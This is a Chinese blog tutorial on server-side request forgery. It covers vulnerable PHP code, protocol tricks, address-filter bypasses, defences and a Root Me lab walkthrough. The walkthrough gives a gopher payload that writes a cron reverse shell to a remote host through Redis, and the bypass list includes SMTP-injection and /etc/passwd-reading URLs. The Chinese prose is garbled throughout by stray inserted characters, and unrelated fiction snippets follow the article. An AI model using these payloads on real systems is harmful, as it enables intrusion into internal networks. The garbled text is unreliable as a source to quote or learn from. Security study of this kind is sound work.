SSRF 總結(jié)

0x00 SSRF簡介

SSRF(Server-Side Request Forgery)指的是攻擊者在未能獲取服務(wù)器所有權(quán)限時速妖,利用服務(wù)器漏洞以服務(wù)器的身份發(fā)送一條構(gòu)造好的請求給服務(wù)器所在內(nèi)網(wǎng)高蜂。SSRF攻擊通常針對外部網(wǎng)絡(luò)無法直接訪問的內(nèi)部系統(tǒng)。

原理:

通過控制功能中的發(fā)起請求的服務(wù)來當(dāng)作跳板攻擊內(nèi)網(wǎng)中其他服務(wù)罕容。比如备恤,通過控制前臺的請求遠程地址加載的相應(yīng),來讓請求數(shù)據(jù)由遠程的URL域名修改為請求本地杀赢、或者內(nèi)網(wǎng)的IP地址以及服務(wù)烘跺,來造成內(nèi)網(wǎng)系統(tǒng)的攻擊。

危害:

SSRF可以對外網(wǎng)脂崔、服務(wù)器所在內(nèi)網(wǎng)滤淳、本地進行端口掃描,攻擊運行在內(nèi)網(wǎng)或本地的應(yīng)用砌左,或者利用File協(xié)議讀取本地文件脖咐。

內(nèi)網(wǎng)服務(wù)防御相對于外網(wǎng)服務(wù)一般較弱,甚至部分內(nèi)網(wǎng)服務(wù)為了運維方便并未對內(nèi)網(wǎng)的訪問設(shè)置權(quán)限驗證汇歹,所以存在SSRF時屁擅,通常會造成較大危害。

個人理解:

SSRF就是利用服務(wù)器發(fā)起請求(請求來自客戶端提交的)产弹,去請求一些服務(wù)器可以直接訪問的服務(wù)派歌。這個服務(wù)器相當(dāng)于是一個提線木偶,我們操作它去攻擊其他服務(wù)痰哨。

0x01 漏洞利用

利用:

  1. 掃描內(nèi)網(wǎng)開放服務(wù)
  2. 向內(nèi)部任意主機的任意端口發(fā)送payload來攻擊內(nèi)網(wǎng)服務(wù)(比如溢出)
  3. DOS攻擊(請求大文件胶果,始終保持連接KEEP-ALIVE-ALWAYS)
  4. 攻擊內(nèi)網(wǎng)的web應(yīng)用,主要是使用get參數(shù)就可以實現(xiàn)的攻擊(比如struts2斤斧,sqli等)
  5. 利用file早抠、gopher、dict協(xié)議讀取本地文件撬讽、執(zhí)行命令等

0x02 常見攻擊協(xié)議

Gopher協(xié)議:是Internet上一個非常有名的信息查找系統(tǒng)蕊连,它將Internet上的文件組織成某種索引,很方便地將用戶從Internet的一處帶到另一處游昼。

對目標(biāo)發(fā)起攻擊的主要協(xié)議gopher://xxxxxx:port/主體 主體部分需要進行url編碼

具體攻擊手法:利用 Gopher 協(xié)議拓展攻擊面

Dict協(xié)議:探測端口操作甘苍,以及版本信息例如:dict://127.0.0.1:6379/info

http://xxx.com/ssrf.php?url=dict://127.0.0.1:22

dict 協(xié)議也能攻擊redis不過不能換行,一次只能執(zhí)行一條命令

FTP協(xié)議:只能探測是否存在ftp烘豌,不能進行暴力破解

Http協(xié)議:用來探測是否存在ssrf

File協(xié)議:用來進行任意文件讀取

http://xxx.com/ssrf.php?url=file:///etc/passwd

等等

各個語言支持的協(xié)議:

image.png

0x03 漏洞具體

漏洞的尋找

1羊赵、社交分享功能:獲取超鏈接的標(biāo)題等內(nèi)容進行顯示 http://share.xxx.com/index.php?url=http://127.0.0.1

2、轉(zhuǎn)碼服務(wù):通過URL地址把原地址的網(wǎng)頁內(nèi)容調(diào)優(yōu)

3、在線翻譯:給網(wǎng)址翻譯對應(yīng)網(wǎng)頁的內(nèi)容

4昧捷、圖片加載/下載:例如富文本編輯器中的點擊下載圖片到本地;通過URL地址加載或下載圖片 http://image.xxx.com/image.php?image=http://127.0.0.1

5罐寨、圖片/文章收藏功能:主要其會取URL地址中title以及文本的內(nèi)容作為顯示以求一個好的用戶體驗 http://title.xxx.com/title?title=http://title.xxx.com/as52ps63de

6靡挥、云服務(wù)廠商:它會遠程執(zhí)行一些命令來判斷網(wǎng)站是否存活等,所以如果可以捕獲相應(yīng)的信息鸯绿,就可以進行SSRF測試

7跋破、網(wǎng)站采集,網(wǎng)站抓取的地方:一些網(wǎng)站會針對你輸入的URL進行一些信息采集工作

8瓶蝴、數(shù)據(jù)庫內(nèi)置功能:數(shù)據(jù)庫的比如mongodb的copyDatabase函數(shù)

9毒返、郵件系統(tǒng):比如接收郵件服務(wù)器地址

10、編碼處理舷手,屬性信息處理拧簸,文件處理:比如ffpmg,ImageMagick男窟,docx盆赤,pdf,xml處理器等

11歉眷、未公開的api實現(xiàn)以及其他擴展調(diào)用URL的功能:可以利用GOOGLE語法加上這些關(guān)鍵字去尋找SSRF漏洞

? 一些的URL的關(guān)鍵字:share,wap,url.link,src,source,target,u,3g,display,sourceURI,imageURL,domain...

12牺六、從遠程服務(wù)器請求資源(upload from url 如discuz!;import & expost rss feed 如web blog汗捡;使用xml引擎對象的地方 如wordpress xmlrpc.php)

漏洞的產(chǎn)生

1淑际、php file_get_contents:

<?php
    if(isset($_POST['url'])){
        $content=file_get_contents($_POST['url']);
        $filename=''.rand().';img1.jpg';
        file_put_contents($filename,$content);
        echo $_POST['url'];
        $img="<img src=\"".$filename."\"/>";
    
    }
    echo $img;
?>

這段代碼使用file_get_conctents函數(shù)從給用戶指定的url獲取圖片。然后把它用一個隨機文件名保存在硬盤上扇住,并展示給用戶春缕。

2、php fsockopen():

<?php
    function GetFile($host,$port,$link){
        $fp=fsockopen($host,intval($port),$errno,$errstr,30);
        if(!$fp){
            echo $errstr." (error number ".$errno.") \n";
        }else{
            $out = "GET ".$link." HTTP/1.1\r\n";
            $out .= "Host: ".$host."\r\n";
            $out .= "Connection: Close\r\n\r\n";
            $out .= "\r\n";
            fwrite($fp,$out);
            while(!feof($fp)){
                $contents.=fgets($fp,1024);
            }
            fclose($fp);
            return $contents;
        }
    }
?>

這段代碼使用fsockopen函數(shù)實現(xiàn)獲取用戶指定url的數(shù)據(jù)台囱。這個函數(shù)會使用socket跟服務(wù)器建立tcp連接淡溯,傳輸原始數(shù)據(jù)。

3簿训、php curl_exec():

<?php
    funciotn curl($url){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>

使用curl請求

漏洞的驗證

1咱娶、因為SSRF漏洞是讓服務(wù)器發(fā)送請求的安全漏洞,所以我們就可以通過抓包分析發(fā)送的請求是否是由服務(wù)器發(fā)送的强品,從而來判斷是否存在ssrf漏洞

2膘侮、在頁面源碼中尋找訪問的資源地址,如果該資源地址類型為 www.baidu.com/xxx.php?image=(地址)的就可能存在SSRF漏洞

3的榛、dnslog測試

各種payload

http://blog.safebuff.com/2016/07/03/SSRF-Tips/

0x04 漏洞繞過

1琼了、@

http://www.baidu.com@127.0.0.1http://127.0.0.1 請求是相同的

2、攻擊本地

http://127.0.0.1:80
http://localhost:22

3、利用[::]

http://[::]:80http://127.0.0.1

也有利用http://0000::1:80/

4雕薪、短地址

短地址縮減

5昧诱、特殊域名

http://127.0.0.1.xip.io/ 
http://www.owasp.org.127.0.0.1.xip.io/

6、利用DNS解析

在域名上設(shè)置A記錄所袁,指向127.0.0.1

7盏档、上傳利用

修改"type=file"為"type=url"
比如:
上傳圖片處修改上傳,將圖片文件修改為URL燥爷,即可能觸發(fā)SSRF

8蜈亩、利用Enclosed alphanumerics

利用Enclosed alphanumerics
???????.???  >>>  example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ? ? ? ? ? ? ? ? ? ? 
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ 
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ 
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 
? ? ? ? ? ? ? ? ? ? ? 
? ? ? ? ? ? ? ? ? ? ?

(我沒試成功)

9、利用句號

127前翎。0稚配。0。1=127.0.0.1

10港华、進制轉(zhuǎn)換

可以是十六進制道川,八進制等
http://127.0.0.1  >>>  http://0177.0.0.1/
http://127.0.0.1  >>>  http://2130706433/
http://192.168.0.1  >>>  http://3232235521/
http://192.168.1.1  >>>  http://3232235777/

11、特殊地址

http://0/

12苹丸、利用協(xié)議

Dict://
dict://<user-auth>@<host>:<port>/d:<word>
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a

13愤惰、利用tinyurl.com生成302跳轉(zhuǎn)地址

https://tinyurl.com

0x05 演練

Root Me的靶機:SSRF BOX

可以看到向服務(wù)器發(fā)送請求百度,服務(wù)器返回了百度的頁面

image.png

如何判斷是服務(wù)器的請求赘理,還是當(dāng)前客戶端的請求呢

我們可以在公網(wǎng)上監(jiān)聽一個端口宦言,去請求他,然后對比Ip判斷(自己的服務(wù)器打碼了)

image.png

可以看看還支持其他的什么協(xié)議

image.png

在打開目標(biāo)文件時候提示無法打開商模,應(yīng)該是權(quán)限不足的原因

結(jié)合burpsuite的爆破功能采用dict協(xié)議對目標(biāo)服務(wù)器端口進行掃描

根據(jù)返回的不同banner信息判斷存在哪些端口

image.png

目標(biāo)開放了6379端口奠旺,這是redis的端口,其默認配置存在未授權(quán)訪問的問題

可以利用未授權(quán)訪問然后向 crontab 寫入定時任務(wù)

image.png

payload

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$62%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/x.x.x.x/2233 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

#其中$62是公網(wǎng)ip加上去的長度施流,在執(zhí)行時要進行url編碼一次
image.png
image.png

成功利用

0x06 SSRF防御

1响疚、禁止跳轉(zhuǎn)

2、過濾返回信息

3瞪醋、統(tǒng)一錯誤信息

4忿晕、禁用不常用的協(xié)議,僅允許HTTP和HTTPS請求

5银受、限制請求端口

6践盼、對DNS Rebinding,考慮使用DNS緩存或者HOST白名單


參考文獻

【安全科普】SSRF攻擊實例解析
【紅日安全】Web安全Day4 - SSRF實戰(zhàn)攻防
SSRF in PHP
SSRF繞過方法總結(jié)

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末宾巍,一起剝皮案震驚了整個濱河市咕幻,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌顶霞,老刑警劉巖肄程,帶你破解...
    沈念sama閱讀 222,104評論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異,居然都是意外死亡蓝厌,警方通過查閱死者的電腦和手機玄叠,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,816評論 3 399
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來褂始,“玉大人诸典,你說我怎么就攤上這事∑槊纾” “怎么了?”我有些...
    開封第一講書人閱讀 168,697評論 0 360
  • 文/不壞的土叔 我叫張陵舀寓,是天一觀的道長胆数。 經(jīng)常有香客問我,道長互墓,這世上最難降的妖魔是什么必尼? 我笑而不...
    開封第一講書人閱讀 59,836評論 1 298
  • 正文 為了忘掉前任,我火速辦了婚禮篡撵,結(jié)果婚禮上判莉,老公的妹妹穿的比我還像新娘。我一直安慰自己育谬,他們只是感情好券盅,可當(dāng)我...
    茶點故事閱讀 68,851評論 6 397
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著膛檀,像睡著了一般锰镀。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上咖刃,一...
    開封第一講書人閱讀 52,441評論 1 310
  • 那天泳炉,我揣著相機與錄音,去河邊找鬼嚎杨。 笑死花鹅,一個胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的枫浙。 我是一名探鬼主播刨肃,決...
    沈念sama閱讀 40,992評論 3 421
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼自脯!你這毒婦竟也來了之景?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,899評論 0 276
  • 序言:老撾萬榮一對情侶失蹤膏潮,失蹤者是張志新(化名)和其女友劉穎锻狗,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 46,457評論 1 318
  • 正文 獨居荒郊野嶺守林人離奇死亡轻纪,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 38,529評論 3 341
  • 正文 我和宋清朗相戀三年油额,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片刻帚。...
    茶點故事閱讀 40,664評論 1 352
  • 序言:一個原本活蹦亂跳的男人離奇死亡潦嘶,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出崇众,到底是詐尸還是另有隱情掂僵,我是刑警寧澤,帶...
    沈念sama閱讀 36,346評論 5 350
  • 正文 年R本政府宣布顷歌,位于F島的核電站锰蓬,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏眯漩。R本人自食惡果不足惜芹扭,卻給世界環(huán)境...
    茶點故事閱讀 42,025評論 3 334
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望赦抖。 院中可真熱鬧舱卡,春花似錦、人聲如沸队萤。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,511評論 0 24
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽浮禾。三九已至交胚,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間盈电,已是汗流浹背蝴簇。 一陣腳步聲響...
    開封第一講書人閱讀 33,611評論 1 272
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留匆帚,地道東北人熬词。 一個月前我還...
    沈念sama閱讀 49,081評論 3 377
  • 正文 我出身青樓,卻偏偏與公主長得像吸重,于是被迫代替她去往敵國和親互拾。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 45,675評論 2 359